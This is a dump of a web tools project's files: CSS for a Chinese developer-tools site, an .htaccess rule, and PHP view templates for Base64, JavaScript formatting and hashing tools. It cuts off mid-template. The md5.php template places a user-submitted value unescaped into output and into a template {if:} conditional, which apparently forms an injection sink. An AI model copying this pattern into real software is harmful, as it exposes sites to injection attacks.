.UnitCountCent li input.w46-0{ width:43%;}\n\n\n\n\n/*CalculatorWrap-begin*/\n.CalculatorWrap{ margin:0px auto;}\n.CalculatorWrap input{ border: 1px solid transparent;border-radius: 3px;color: #fff; line-height:24px;font-size:16px;font-family: 'Microsoft YaHei';}\n.CalculatorWrap input:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n\n.CalculatorWrap .ShowAreaWrap{ width:100%;}\n.CalculatorWrap .ShowArea{ font-size:18px; border:1px solid #c6cede; height:30px; padding:5px 10px;width:97%; color:#56688a !important;}\n\n.CalculatorWrap .CalculTable{border:1px solid #c6cede; padding:20px; background-color:#fafbfd; width:850px; height:390px; margin:30px auto;}\n.CalculatorWrap .CalculTable .heachackWrap{ padding-left:10px; font-size:16px; overflow:hidden; height:30px;}\n.CalculatorWrap .CalculTable .heachackWrap li{ display:inline-block; float:left;line-height:24px;height:24px;}\n.CalculatorWrap .CalculTable .heachackWrap li input{border-radius: 3px;color: #fff; line-height:24px;height:24px;}\n\t\t\t\t\t\t\t .heachackWrap li input.Hcolor01{ width:54px;}\n\t\t\t\t\t\t\t .heachackWrap li input.HTxt01{ background-color:#f1f9ff;border-color: #c6cede; width:54px; padding-left:3px; line-height:24px; height:24px; color:#56688a !important;}\n\n.CentChackBox input{height:40px; cursor:pointer; margin-bottom:10px;}\n\t.CentChackLeft{ width:228px;} \n\t.CentChackLeft li input{ width:66px; margin-right:10px; float:left;} \n\t\n\t.CentChackSide{width:85px; margin-left:5px;}\n\t.CentChackSide input{ width:76px;}\n\t\n\t.CentChackRight{float:right; width:516px;}\n\t.CentChackRight li input{ width:76px; margin-left:10px; float:left;}\n\t\n\t.CentChackLeft,.CentChackSide,.CentChackRight{ height:230px;}\n\n\t\t.CentChackLeft li input.Lcolor01,.CentChackRight li input.Rcolor01{background-color: #55a7e3;border-color: #0474c8;}\n\t\t.CentChackLeft li input.Lcolor02,.CentChackSide input,.CentChackRight li input.Rcolor02,.heachackWrap li input.Hcolor01{ background-color:#929db3;border-color: #56688a;}\n \n/*CalculatorWrap-end*/\n \n/*CodingWrap-begin*/\n.CodingWrap{ width:1170px;}\n.pusmall .CodingWrap{ width:970px;}\n.CodChangeWrap{ width:100%;}\n.CodChangeWrap .CodChangLeft,.CodChangeWrap .CodChangRight{ width:43%; _width:42%;} \n.CodChangeWrap .CodChangLeft .CodchaLtxt,.CodChangeWrap .CodChangRight .CodchaLtxt{ width:95%; padding:5px 10px; line-height:24px;} \n.CodChangeWrap .CodChangCent{ width:14%;}  \n.CodChangCent .CodCBtnWrap input.GBtn{padding:0px 12px; border:none; height:35px; color:#0474c8;font-size:14px; line-height:35px; text-align:center; }\n.CodChangCent .CodCBtnWrap input.GLOkBtn{ background-color:#55a7e3; color:#fff;display:inline-block;font-family: 'Microsoft YaHei';vertical-align:middle; _width:100px;}\n.CodChangCent .CodCBtnWrap{display:table-cell;vertical-align:middle; overflow:hidden; text-align:center; width:160px; height:200px;}\n.CodChangCent .CodCBtnWrap input:hover{filter: alpha(opacity=80);opacity: 0.8;}\n.pusmall .CodCBtnWrap .ml25{ margin-left:10px;}\n.pusmall .CodChangCent .CodCBtnWrap{ *width:136px; *height:180px; *padding-top:35px;}\n.textInfo{ position:absolute; line-height:30px;color: #cccccc; font-size: 12px;left: 10px; line-height: 22px; position: absolute;}\n \n \n/*unixtime-begin*/\n.unixtimeWrap{font-family: 'Microsoft YaHei';}\n.utspan{ background-color:#fff; border:1px solid #c6cede; padding:5px 10px; font-size:14px;}\n\n.pusmall .UnTimeW{ margin-bottom:20px; overflow:hidden; _padding-left:5%; _width:90%;}\n.UnTimeW .InputTxt{ border:1px solid #c6cede; background-color:#fff; height:30px; line-height:30px; padding:0px 5px;}\n.UnTimeW .InputBtnW{ border:1px solid #c6cede; border-left:none;height:40px; margin-top:20px; position:relative; z-index:3; margin-left:-1px;}\n.UnTimeW .InputBtnC{ border:1px solid #c6cede; background-color:#fff; text-align:center; line-height:30px; height:30px;}\n.pusmall .UnTimeW div.ml20{ _margin-left:0;}\n\n.PresentTxt{ text-align:center; overflow:hidden;border-bottom:1px solid #c6cede; padding-bottom:20px;font-family: 'Microsoft YaHei';}\n.PresentTxt span,.PresentTxt a{ display:inline-block; float:left;}\n.PresentTxt a{ padding:5px; border:1px solid #c6cede; background-color:#fff; margin-left:10px;}\n.PresentTxt a:hover,.UnTimeW .InputBtnC:hover{ text-decoration:none; background-color:#f1f9ff;}\n.UnTimeW {overflow:hidden;}\n\n\n.PosTxt label{ text-align:right; width:260px; padding-right:10px; line-height:30px;}\n.ReveTxt label,.ReveTxt input,.PosTxt label,.PosTxt input{ display:inline-block; float:left;}\n.ReveTxt label{ line-height:30px; padding-left:3px; padding-right:3px;}\n\n\n\n.unixtimeWrap .utdHead{ line-height:30px; font-size:16px;color:#0474c8; padding:10px 0px;}\n.unixtimeWrap table{ width:100%;border-left:1px solid #c6cede; border-top:1px solid #c6cede;}\n.unixtimeWrap table td{ border-right:1px solid #c6cede; border-bottom:1px solid #c6cede;padding:10px;color:#56688a;} \n.unixtimeWrap table .uttd{ background-color:#f3f5f9; font-weight:bold;}\n\n/*unixtime-end*/\n\n   \n/*---------------OtherWeb--------------------*/  \n \n.OtherWeb-Title{ height:35px; border-bottom:1px solid #FFDCA6; background-color:#FBF2E4;  clear: both;}\n.OtherWeb-Title .TitLeft{font-size:16px; color:#56688a; line-height:35px; font-weight:normal;}\n.OtherWeb-Title .dthead{background-color: #F1A32F; height: 16px;margin: 10px 10px 0 10px; width: 3px;}\n\n.OtherWeb-ContWrap{ width:990px;background-color:#fff;transition: all 0.3s;}\n.OtherWeb-ContWrap li{display:block; float:left;background-color:#fff; width:470px; margin:0px 5px 0px 5px; padding: 6px 6px 7px 6px;transition: all 0.3s;}\n.OtherWeb-ContWrap li .h4a{ font-size:16px;}\n.OtherWeb-ContWrap li .Hpa{line-height:24px; width:100%; overflow:hidden;display:block;color:#56688a;} \n\t\t\t\t\t\t\t\t\t\n \n.OtWrap{ background-color:#e8e8e8; width:1200px;}\n\t.OtLeft{ width:190px; margin-right:10px; height:710px; background-color:#fff;}\n\t.OtLeft ul{ border-top:3px solid #55a7e3;}\n\t.OtLeft ul li{ height:40px; border-bottom:1px solid #e8e8e8; font-size:16px; *maragin-top:-4px; _maragin-top:-4px;} \n\t.OtLeft ul li a{ display:block; padding:5px 0px; line-height:30px; padding-left:20px; color:#56688a;}\n\t.OtLeft ul li a:hover,.OtLeft ul li a.OtLcurt{ text-decoration:none; background-color:#55a7e3; color:#fff;}\n\t\n\t\n\t\n\t.OtRight{ width:1000px; height:710px; background-color:#fff;} \n\t\n\n\n\n/*pusmall*/\n.pusmall .OtWrap{ background-color:#e8e8e8; width:1000px;}\n.pusmall .OtRight{ width:800px;background-color:#fff;} \n\n\n.pusmall .OtherWeb-ContWrap{ width:800px; padding-top:10px;} \n.pusmall .OtherWeb-ContWrap li { width:375px; }\n.pusmall .OtherWeb-ContWrap li .Hpa{line-height:20px; height:40px;}\n/*---------------OtherWeb--------------------*/  \n \n  \n  /*DuanLinks-begin*/\n  .DuanLinks{ background-color:#f1f9ff; padding:10px 0px 10px 20px;}\n  .DuanLinks p{ line-height:40px;font-family: 'Microsoft YaHei'; font-size:16px;}\n  .DuanLinks p span,.DuanLinks p input{ display:inline-block; float:left;}\n  .DuanLinks p input.DuanBtn{ background-color:#55a7e3; border:none; padding:3px 20px; color:#fff; margin-top:7px;}\n  .DuanLinks p input.DuanBtn:hover{filter: alpha(opacity=80);opacity: 0.8; }\n  .DuanLinks p span{ padding-right:15px;}\n  \n  \n  \n  \n  /*DuanLinks-end*/\n  \n  \n/*---------------Robots--------------------*/  \n.RobotsList{}\n.RobotsLeft{ width:150px; padding-right:10px; text-align:right; font-size:14px; color:#56688a; line-height:30px; height:30px;}\n.RobotsRight{ width:1040px;}\n.RobotsRight input{ display:block;float:left; background:none; height:28px; line-height:28px; border:1px solid #c6cede; margin-right:10px; margin-bottom:10px;}\n.RobotsRight input.RobTxt{ background-color:fff; width:208px; padding:0px 10px; color:#56688a;}\n.RobotsRight input.RobBtn{ height:30px; line-height:30px; *height:28px; *line-height:28px;background-color:#f1f9ff; color:#0474c8; width:128px;}  \n.RobotsRight input.RobBtn:hover{border:1px solid #a9d6f7; filter: alpha(opacity=80);opacity: 0.8;}\n.RobotsRight .RobBtnWrap{ height:40px; padding-top:20px; padding-bottom:20px;}\n.RobotsRight .RobBtnWrap input{display:block;float:left;border:none; height:40px; line-height:40px;margin-right:10px; font-size:14px;width:120px; text-align:center;color: #0474c8;}\n.RobotsRight .RobBtnWrap input.RobBtn02{ background-color:#55a7e3; color:#fff;}\n.RobotsRight .RobBtnWrap input:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n\n.pusmall .RobotsRight{ width:840px;} \n.RobotsRodList{ width:950px; padding:10px; border:1px solid #c6cede; position:relative; margin-top:15px; z-index:1;}\n.RobotsRodList .RodTitle{ position:absolute; z-index:2; right:10px; height:24px; line-height:24px; padding:0px 10px; background-color:#fff; top:-12px; font-weight:bold; font-size:14px;font-family: 'Microsoft YaHei'; color:#56688a;}\n\t.RobotsRodWrap  li{ padding:3px 0px;}\n\t.RobotsRodWrap  li .TxtRadio,.RobotsRodWrap  li .TxtLable{ display:inline-block; float:left;}\n\t.RobotsRodWrap  li .TxtLable{ line-height:30px; height:30px; padding-right:10px; width:130px; font-weight:bold; color:#56688a;font-family: 'Microsoft YaHei'; text-align:right;}\n\t.RobotsRodWrap  li .TxtRadio{ width:18px; height:16px; margin-top:7px; cursor:pointer;}\n\t.RobotsRodWrap  li .TxtRadioA{ background-position:-44px 0px;}\n\t.RobotsRodWrap  li .TxtRadioD{ background-position:-44px -25px;} \n\t\n.RobotsCent{ width:970px; padding:10px;}\n.pusmall .RobotsCent{width:770px;}\n.pusmall .RobotsRodList{ width:750px;}\n.pusmall .RobotsRodWrap  li .TxtLable{ padding-left:10px; width:100px;}\n\t\n\t\n\t\n/*webscan-begin*/\n.jg_conlist{float: left;overflow: hidden;padding-left: 10px;width: 185px;}\n.jg_dangerous, .jg_serious, .jg_warning, .jg_security, .jg_weizhi, .jg_conlist dd, .jg_tips2 a, .fc_warning, .fc_security, .fc_dangerous, .fc_serious, .fc_weizhi, #sub_conlist dd{ background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-tips.png) no-repeat;}\n#jg_tips{font-size: 14px;font-weight: bold;height: 26px;left: 85px;line-height: 26px;overflow: hidden;position: absolute;text-align: left;text-indent: 26px;top: 1px;width: 60px;}\n.jg_serious{background-position: 2px -24px;color: #fc3b2c;}\n.jg_conlist dl{background:none;border: 0 none;font-size: 100%;margin: 0;outline: 0 none;padding: 0 0 10px 15px;vertical-align: baseline;}\n.jg_conlist dt{background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-allbg.jpg) no-repeat scroll left top;color: #333333;font-size: 14px;font-weight: bold;height: 28px;line-height: 28px;margin-bottom: 10px;position: relative;text-align: left;text-indent: 12px;}\n.jg-bipin{float: left;overflow: hidden;position: relative;width: 280px;}\n.jg-bp-title{font-size: 14px;font-weight: bold;padding-bottom: 20px;padding-top: 10px;position: relative;text-align: left;}\n.jg-fenshu{color: #333333;font-size: 16px;font-weight: bold;margin-top: 8px;padding-bottom: 15px;padding-left: 20px;text-align: left;text-indent: 20px;}\n.jg-fenshu span{font-size: 100px;font-weight: bold;}\n.jg-fenshu-info{background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-jibaibg.png) no-repeat;display: none;height: 110px;left: 218px;position: absolute;top: 10px;width: 245px;}\n.jg-fenshu-info p{line-height: 21px;padding: 12px;}\n#dabai_text .ratevul{color: green;font-size: 16px;padding: 4px;}\n.jg_showbox{position: absolute;right: -50px;top: 17px;width: 440px;z-index: 50;}\n.login-user-check{border:none;float: left;width: 250px;}\n.jg_showbox dl{border-bottom: 1px solid #ececec;clear: both;width: 100%;}\n.login-user-check dt{float: left;line-height: 28px;text-align: right;width: 100px;}\n.login-user-check dd{float: left;line-height: 25px;width: 130px; padding-left:15px;}\n.jg_showbox p{line-height: 25px;padding-left: 35px;}\n.fc_serious{background-position: 10px -26px;color: #fc3b2c;}\n.fc_security{background-position: 10px -172px;color: green;}\n.login-user-check2{height: 155px;margin-left: 5px;margin-top: 13px;padding:5px 10px 0px 15px;width: 140px; background:url(http://cdn.chinaz.com/tools/images/webscan/icon-wbes-lsbg.jpg) no-repeat;}\n.login-user-check2 ul{background: #ffffff;margin-left: 10px;}\n.login-user-check2 li{padding-left: 10px;}\n.login-user-check li{line-height: 33px;}\n.loudong_grey{color: #999999;}\n.login-user-check2 span{font-size: 14px;font-weight: bold;padding-left: 5px;}\n.jg_security{background-position: 2px -171px;color: green;}\n.jg_dangerous{background-position: 2px -250px;color: red;}\n.jg_warning{background-position: 2px -76px;color: #ff9900;}\n.jg_serious{background-position: 2px -24px;color: #fc3b2c;}\n.jg_weizhi{background-position: 3px -304px;}\n.fc_weizhi{background-position: 10px -303px;color: #2e92cb;}\n.fc_warning{background-position: 10px -76px;color: #ff9900;}\n.fc_security span{color: #888888;margin-left: 5px;}\n.fc_dangerous{background-position: 10px -250px;color: red;}\n\n/*jinshan*/\n\t.websHTit{ height:40px; line-height:40px;}\n\t.websHTit.b360{ background-color:#6cc341;}\n\t.websHTit.jins{ background-color:#55a7e3;}\n\t\n\t.websHTit strong{ font-size:18px; color:#fff; padding-left:15px;}\n\t\n\t\n\t.jinSwrap{ padding:20px 0px; width:900px;}\n\t\t.jinS-img{ width:100px;} \n\t\t.jinS-tip{ padding:30px 0px 0px 80px;}\n\t\n\t\t.jinS-tip .tipCont{ border:1px solid #c6cede; width:330px; height:110px; border-radius:5px;}\n\t\t\t.tipcord{ position:absolute; left:-17px; top:38px; *top:15px; _top:15px; z-index:12; background-color:#fff; width:180px;} \n\t\t\t.tipcord .tipCor-arrow { height: 30px; left: 1px; line-height: 30px; overflow: hidden;  position: absolute;  top: -5px; width: 30px;} \n\t\t\t.tipcord .tipCor-arrow em { color: #c6cede !important; top: 0;}\n\t\t\t.tipcord .tipCor-arrow em,.tipcord .tipCor-arrow i { font-family: SimSun;  font-size: 30px; font-style: normal; left: 0; position: absolute;}\n\t\t\t.tipcord .tipCor-arrow i { color: #fff;left: 2px;} \n\n\t\t.jinS-list{ padding-left:60px; width:300px; padding-top:20px;}\n\t\t.jinS-list ul li{ line-height:30px; overflow:hidden;}\n\t\t.jinS-list ul li span,.jinS-list ul li strong{ display:block; float:left; height:30px; width:145px;}\n \n\n/*webscan-end*/\n\n\t\n/*plugin-begin*/\n.Mplugin{ background-color:#f7f7f7; width:1160px; height:185px;}\n.Mplugin .MpBtn{ padding-top:35px; overflow:hidden; padding-left:300px;}\n.Mplugin .MpBtn a{ width:240px; height:50px; line-height:50px; text-align:center; background-color:#55a7e3; font-size:18px; color:#fff; display:block; float:left; margin-left:30px; text-decoration:none;}\n.Mplugin .MpBtn a:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n.Mplugin .MpTxt{ clear:both;}\n.Mplugin .MpTxt p{ line-height:28px; color:#777777; font-size:14px; text-align:center;}\n\n.Mpcap{ border:1px solid #e8e8e8; padding:15px; width:1128px;}\n.Mpcap .MpTit{ line-height:24px; height:24px;}\n.Mpcap .MpTit { color:#777777;} \n.Mpcap .MpTCont{ padding:20px; width:1099px; height:175px;}\n\n\n.pusmall .Mplugin{ width:960px; overflow:hidden;}\n.pusmall .Mplugin .MpBtn{ padding-left:150px;}\n.pusmall .Mpcap{ width:928px;}\n.pusmall .MpTCont{ width:899px;}\n.pusmall .Mpcap .MpTCont img{width:100%;}\n/*plugin-end*/\n\t\n/*Seo-plugin-begin*/\n.Seo-plugin{ width:1120px; font-family: 'Microsoft YaHei';}\n.Seo-plugin h2{  font: 400 22px/24px 'Microsoft YaHei'; color: #333;padding-bottom: 10px; margin: 20px 0 0; border-bottom: 1px solid #d6d6d8; color:#0474c8;}\n.Seo-plugin .Ctxtp{padding: 20px;}\n.Seo-plugin .Ctxtp p{  font-size: 16px; color: #333; text-align: left; line-height: 32px;}\n.CseoImg{ overflow:hidden; width:1000px;} \n.CseoImg img{ display:block;}\n\n.pusmall .Seo-plugin{ width:920px;}\n.pusmall .CseoImg,.pusmall .CseoImg img{ max-width:920px; *width:100%; _width:100%;}\n/*Seo-plugin-end*/\n \t\t \n/*errorr*/\t\t \n.ErrorWrap { width:740px; padding-top:260px; margin:60px auto; background:url(http://cdn.chinaz.com/tools/images/tool/404error.png) top center no-repeat;}\n.ErrorWrap .linkE a:hover{ text-decoration:none;}\n.ErrorWrap .linkE,.textsE p {text-align:center; line-height:24px;}\n.textsE p { color:#777777;}\n\n\t\t \n\t\t \n\t\t \n/*2016-02-15json*/\t\n.h180{ height:180px;}\n.JnavL,.JsonW{min-height:250px; background-color:#fff;}\n.JnavL{ width:250px;}\n.JnavL ul{ padding:0px 0px 10px 0px;} \n.JnavL ul li{ height:40px; line-height:40px; border-bottom:1px solid #e8e8e8; *margin-top:-4px;}\n.JnavL ul li a{ padding-left:20px; display:block; color:#0474c8;}\n.JnavL ul li a:hover,.JnavL ul li a.JnCurt{ background-color:#55a7e3; color:#fff; text-decoration:none;}\n.JsonW{ width:1160px; padding:20px;}\n.JsonW .JsTxtW .JsTxtCo{ width:1138px; border:0; padding:10px;}\n.JsonW .JsTxtW-r .JsTxtCo{border:0; padding:10px;}\n.JsonW .JsBtnW{ width:100%; padding-top:10px; height:35px;}\n\n.JsonW .JsBtnW input{ border:none;display:inline-block; float:left; padding:0px 15px;height: 35px;line-height: 35px;font-size: 14px;text-align: center;color: #0474c8;}\n.JsonW .JsBtnW input.GLOkBtn{ background-color:#55a7e3; color:#fff;} \n.JsonW .JsBtnW input.inTxt{ text-align:left; color:#333333; padding:0px 5px;} \n.JsonW .JsBtnW input.GLOkBtn:hover,.Jsmenu02 input.Btn:hover,.Jsmenu03 input.Btn:hover{filter: alpha(opacity=80);opacity: 0.8;}\n\n.pusmall .JsonW{width:960px;}\n.pusmall .JsonW .JsTxtCo{width:938px;}\n.pusmall .JsonW .JsBtnW input{ padding:0px 9px;}\n.pusmall .JsonW .w570{ width:470px;}\n\n/*json-shitu*/\n.Jsmenu{ height:30px;}\n.pularge .Jsmenu a,.pularge .Jsmenu03 input{ display:inline-block; float:left; color:#0474c8; padding:3px 10px;border:1px solid #9EC2EE; background-color:#ECF5FF; margin-right:5px;}\n.pusmall .Jsmenu a,.pusmall .Jsmenu03 input{ display:inline-block; float:left; color:#0474c8; padding:3px 5px;border:1px solid #9EC2EE; background-color:#ECF5FF; margin-right:3px;}\n.Jsmenu a:hover,.Jsmenu03 input:hover{ text-decoration:none; border:1px solid #9EC2EE; background-color:#fff;}\n \n\n.Jsmenu02{ padding:10px; height:30px;}\n.Jsmenu03{ height:30px; padding:6px 0px;}\n.Jsmenu02 label{ display:inline-block; float:left; height:26px; line-height:26px;}\n.Jsmenu02 input{ display:inline-block; float:left; margin-right:10px; border:none;}\n.Jsmenu02 input.Txt{ padding:0px 5px; border:1px solid #c6cede;height:24px; line-height:24px;}\n.Jsmenu02 input.Btn{ background-color:#55a7e3;height:26px; line-height:26px; padding:0px 10px; color:#fff;}\n\n.infoWrap{ width:280px; min-height:80px; right:15px; top:15px;}\n.infohead{ background-color:#deecfd;}\n.infohead li{ padding:5px 5px; height:20px; border-bottom:1px solid #fff;}\n.infohead li.hTit{ background-color:#BCC7DD;}\n.infohead li span{ display:inline-block; width:49%; float:left; height:20px; line-height:20px;}\n\n\n.Jstu-l{ width:600px;}\n.Jstu-l .JsTxtW .JsTxtCo{width:578px;}\n \n.pusmall .Jstu-l{ width:400px;}\n.pusmall .Jstu-l .JsTxtW .JsTxtCo{ width:378px;}\n \n \n /*json-color*/\n.Canvas{font:10pt Georgia;background-color:#ECECEC;color:#000000;border:solid 1px #CECECE;}\n.ObjectBrace{color:#00AA00;font-weight:bold;}\n.ArrayBrace{color:#0033FF;font-weight:bold;}\n.PropertyName{color:#CC0000;font-weight:bold;}\n.String{color:#007777;}\n.Number{color:#AA00AA;}\n.Boolean{color:#0000FF;}\n.Function{color:#AA6633;text-decoration:italic;}\n.Null{color:#0000FF;}\n.Comma{color:#000000;font-weight:bold;}\nPRE.CodeContainer{margin-top:0px;margin-bottom:0px;}\t\n/*geshihua*/\t\n.validateMsg {padding: 15px;border: 1px solid transparent;border-radius: 4px;}\n.validateSuccess {color: #3c763d;background-color: #dff0d8;border-color: #d6e9c6}\n.validateErr {color: #a94442;background-color: #f2dede;border-color: #ebccd1}\n \n.JsTxtW textarea,.JsTxtW-r textarea,.linedwrap .codelines .lineno{font-size:10pt;font-family:'Microsoft Yahei';line-height:normal !important;}\n.JsTxtW textarea,.JsTxtW-r textarea{padding-right:0.3em;padding-top:0.3em;border:0;}\n.linedwrap { border:1px solid #c0c0c0;}\n.linedwrap .lines{margin-top:0px;width:50px;float:left;overflow:hidden;border-right:1px solid #c0c0c0;margin-right:10px; background-color:#eee;}\n.linedwrap .codelines{padding-top:5px;}\n.linedwrap .codelines .lineno{color:#777575;padding-right:0.5em;padding-top:0.0em;text-align:right;white-space:nowrap;}\n.linedwrap .codelines .lineselect{color:red;}\n\ndiv.Canvas{font-family:'Microsoft Yahei';font-size:13px;background-color:#ECECEC;color:#000000;border:solid 1px#CECECE;max-height:300px;overflow:auto; margin-top:10px;display:none;}\n.Canvas .CodeContainer{font-family:'Microsoft Yahei';}\n.Canvas pre{display:block;padding:8.5px;margin:0 0 9px;font-size:12.025px;line-height:18px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;}\n.ObjectBrace{color:#00AA00;font-weight:bold}\n.ArrayBrace{color:#0033FF;font-weight:bold}\n.PropertyName{color:#CC0000;font-weight:bold}\n.String{color:#007777}\n.Number{color:#AA00AA}\n.Boolean{color:#0000FF}\n.Function{color:#AA6633;text-decoration:italic}\n.Null{color:#0000FF}\n.Comma{color:#000000;font-weight:bold}\nPRE.CodeContainer{margin-top:0px;margin-bottom:0px}\nPRE.CodeContainer img{cursor:pointer;border:none;margin-bottom:-1px}\n\n/*left-right*/\n.JsTxtW-r{width:570px;}\n.JsTxtW-r .JsTxtCo{width:548px;}\n.pusmall .JsTxtW-r{width:470px;}\n.pusmall .JsTxtW-r .JsTxtCo{width:448px;}\n/*2016-03-09*/\n.wwlr{ width:1160px; padding:20px;}\n.pusmall .wwlr{ width:960px; padding:20px;}\n.wwlr textarea.wwlr-l{ padding:10px;}\n.wwlr textarea.wwlr-r{ padding:10px;}\n\n.bg-port{ background-color:#D3EAFB;}\n\n\n\n"
  },
  {
    "path": "web_chinaz/chinaz/views/.htaccess",
    "content": "deny from all"
  },
  {
    "path": "web_chinaz/chinaz/views/base64.php",
    "content": "<html>\n{chinaz:header}\n\n<!--ToolMain02-begin-->\n<div class=\"wrapper wwlr\">  \n    <form method=\"post\">\n        <!--GuoLvWrap-begin--> \n        <div class=\"clearfix\">\n            <div class=\"pr JsTxtW-r fl\">\n                <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"content\" name=\"content\"></textarea> \n                <b class=\"search-hint CentHid\">Base64加密内容粘贴在这里</b>\n            </div>\n            <div class=\"pr JsTxtW-r ml15 fl\">\n                <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-r\" id=\"result\" name=\"result\"></textarea> \n                <b class=\"search-hint CentHid\">Base64解密内容粘贴在这里</b>\n            </div> \n        </div>\n            <div class=\"GuoLvWrapCenter ptb10 clearfix\">\n            <div class=\"GuoLvCbtn\">\n                        <div class=\"fl lh35\"><input type=\"checkbox\" name=\"chk\" />&nbsp;多行</div>\n            <input type=\"submit\" id=\"conv\" name=\"conv\" value=\"Base64加密\" class=\"GLOkBtn\" />\n            <input type=\"submit\" id=\"res\" name=\"res\" value=\"Base64解密\" class=\"GLOkBtn\" />\n            <input type=\"reset\" id=\"clear\" value=\"清空结果\" class=\"bg-blue02 YaHei\" />\n            </div>\n          </div>\n\n        <!--GuoLvWrap-end-->\n    </form> \n</div>\n<!--ToolMain02-end-->\n\n\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/index.php",
    "content": "<html>\n{chinaz:header}\n\n<!--ToolMain02-begin-->\n<div class=\"wrapper\"> \n    <div class=\"wwlr auto\">\n    <form>\n        <!--GuoLvWrap-begin--> \n   \t\t<div class=\"clearfix\">\n            <div class=\"pr JsTxtW-r fl\">\n\t\t        <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtInitCode\"></textarea> <b class=\"search-hint CentHid\">源代码</b></div>  \n            <div class=\"pr JsTxtW-r ml20 fl\">\n            <div class=\"JsTxtCo h200 autohide pa\" style=\" top:0;left:0; line-height:200px; text-align:center\" id=\"loading\">正在解析<img src=\"static/images/loader.gif\" /></div>\n            <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtResultCode\"></textarea> <b class=\"search-hint CentHid\">结果代码</b></div>  \n        \n     </div>\n        \n          <div class=\"GuoLvWrapCenter pt10 clearfix\">\n            <div class=\"GuoLvCbtn\" id=\"btndiv\">\n            <input type=\"button\" value=\"排版\" class=\"GLOkBtn\" ref=\"beauty\" />\n            <input type=\"button\" value=\"去除注释\" class=\"GLOkBtn\" ref=\"filtercomment\" />\n            <input type=\"button\" value=\"普通压缩\" class=\"GLOkBtn\" ref=\"basiccompress\" />\n            <input type=\"button\" value=\"加密压缩\" class=\"GLOkBtn\" ref=\"encodecompress\" />\n            <input type=\"button\" value=\"解密\" class=\"GLOkBtn\" ref=\"decodebeauty\" /> \n            <input type=\"button\" value=\"复制\" class=\"bg-blue02\" id=\"clip\" data-clipboard-target=\"txtInitCode\" />\n            <input type=\"button\" id=\"clear\" value=\"清空\" class=\"bg-blue02\" />\n            </div>\n          </div>\n\n        <!--GuoLvWrap-end-->\n    </form>\n    </div>\n</div>\n<!--ToolMain02-end-->\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/js.php",
    "content": "<html>\n{chinaz:header}\n\n<!--ToolMain02-begin-->\n<div class=\"wrapper\"> \n    <div class=\"wwlr auto\">\n    <form>\n        <!--GuoLvWrap-begin--> \n   \t\t<div class=\"clearfix\">\n            <div class=\"pr JsTxtW-r fl\">\n\t\t        <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtInitCode\"></textarea> <b class=\"search-hint CentHid\">Js代码</b></div>  \n            <div class=\"pr JsTxtW-r ml20 fl\">\n            <div class=\"JsTxtCo h200 autohide pa\" style=\" top:0;left:0; line-height:200px; text-align:center\" id=\"loading\">正在解析<img src=\"static/images/loader.gif\" /></div>\n            <textarea class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtResultCode\"></textarea> <b class=\"search-hint CentHid\">结果代码</b></div>  \n        \n     </div>\n        \n          <div class=\"GuoLvWrapCenter pt10 clearfix\">\n            <div class=\"GuoLvCbtn\" id=\"btndiv\">\n            <input type=\"button\" value=\"排版\" class=\"GLOkBtn\" ref=\"beauty\" />\n            <input type=\"button\" value=\"去除注释\" class=\"GLOkBtn\" ref=\"filtercomment\" />\n            <input type=\"button\" value=\"普通压缩\" class=\"GLOkBtn\" ref=\"basiccompress\" />\n            <input type=\"button\" value=\"加密压缩\" class=\"GLOkBtn\" ref=\"encodecompress\" />\n            <input type=\"button\" value=\"解密\" class=\"GLOkBtn\" ref=\"decodebeauty\" /> \n            <input type=\"button\" value=\"复制\" class=\"bg-blue02\" id=\"clip\" data-clipboard-target=\"txtInitCode\" />\n            <input type=\"button\" id=\"clear\" value=\"清空\" class=\"bg-blue02\" />\n            </div>\n          </div>\n\n        <!--GuoLvWrap-end-->\n    </form>\n    </div>\n</div>\n<!--ToolMain02-end-->\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/md5.php",
    "content": "<html>\n{chinaz:header}\n\n<<!--ToolMain02-begin-->\n<div class=\"wrapper wwlr\"> \n    <form id=\"md5\" method=\"POST\" action=\"action.php\">\n    <div class=\"clearfix\">\n        <!--GuoLvWrap-begin--> \n        <div class=\"JsTxtW-r fl pr\"><textarea form=\"md5\" name=\"source\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"content\"></textarea> \n        <b class=\"search-hint CentHid\">请把你需要加密的内容粘贴在这里</b></div>\n        \n        <div class=\"JsTxtW-r fl ml15 pr\"><textarea form=\"md5\" name=\"res\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-r\" id=\"result\"></textarea> \n        <b class=\"search-hint CentHid\">{if:\"{?=res?}\"==\"\"} 加密后的结果 {else} {?=res?} {end if}</b></div> \n        \n        \n    </div>\n        \n\n          <div class=\"GuoLvWrapCenter pt10 clearfix\">\n            <div class=\"GuoLvCbtn ww100\" id=\"btnlist\">\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"SHA224\" t=\"sha224\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"SHA256\" t=\"sha256\" />\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"SHA384\" t=\"sha384\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"SHA512\" t=\"sha512\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacSHA1\" t=\"hmacsha1\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacMD5\" t=\"hmacmd5\" />  \n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacSHA224\" t=\"hmacsha224\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacSHA256\" 